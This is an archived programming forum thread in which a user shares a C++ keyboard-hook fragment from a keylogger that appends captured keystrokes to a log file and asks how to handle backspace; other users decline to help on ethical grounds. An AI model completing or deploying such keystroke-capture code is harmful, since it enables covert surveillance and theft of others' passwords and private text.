Removing last characters from a file

Hey im after writting a simple keylogger but i cant figure out how to make it that when someone presses backspace it delets the last characters in a text file(where all the logs are saved).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        case WM_KEYDOWN:    
        {
			f1 = fopen(log_file,"a+");
			if (p->vkCode==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
			else if(p->vkCode==VK_BACK)  //here's my problem
			{
				
			}
			else {
				BYTE ks[256];
                GetKeyboardState(ks);
 
                WORD w;
				ToAscii(p->vkCode,p->scanCode,ks,&w,0);
                ch = char(w); 
                fwrite(&ch,1,1,f1);
			}
			fclose(f1);
            break;
        }
I'm not going to help you a lot with this because of the dubious nature of key logging but I will say this; think real hard about if that's really what you want it to do.
I'm not going to help you a lot with this because of the dubious nature of key logging but I will say this; think real hard about if that's really what you want it to do.


He's right key logging is not ethical by any means, and I don't think you will be getting much help from
our forums with this.
Last edited on
Topic archived. No new replies allowed.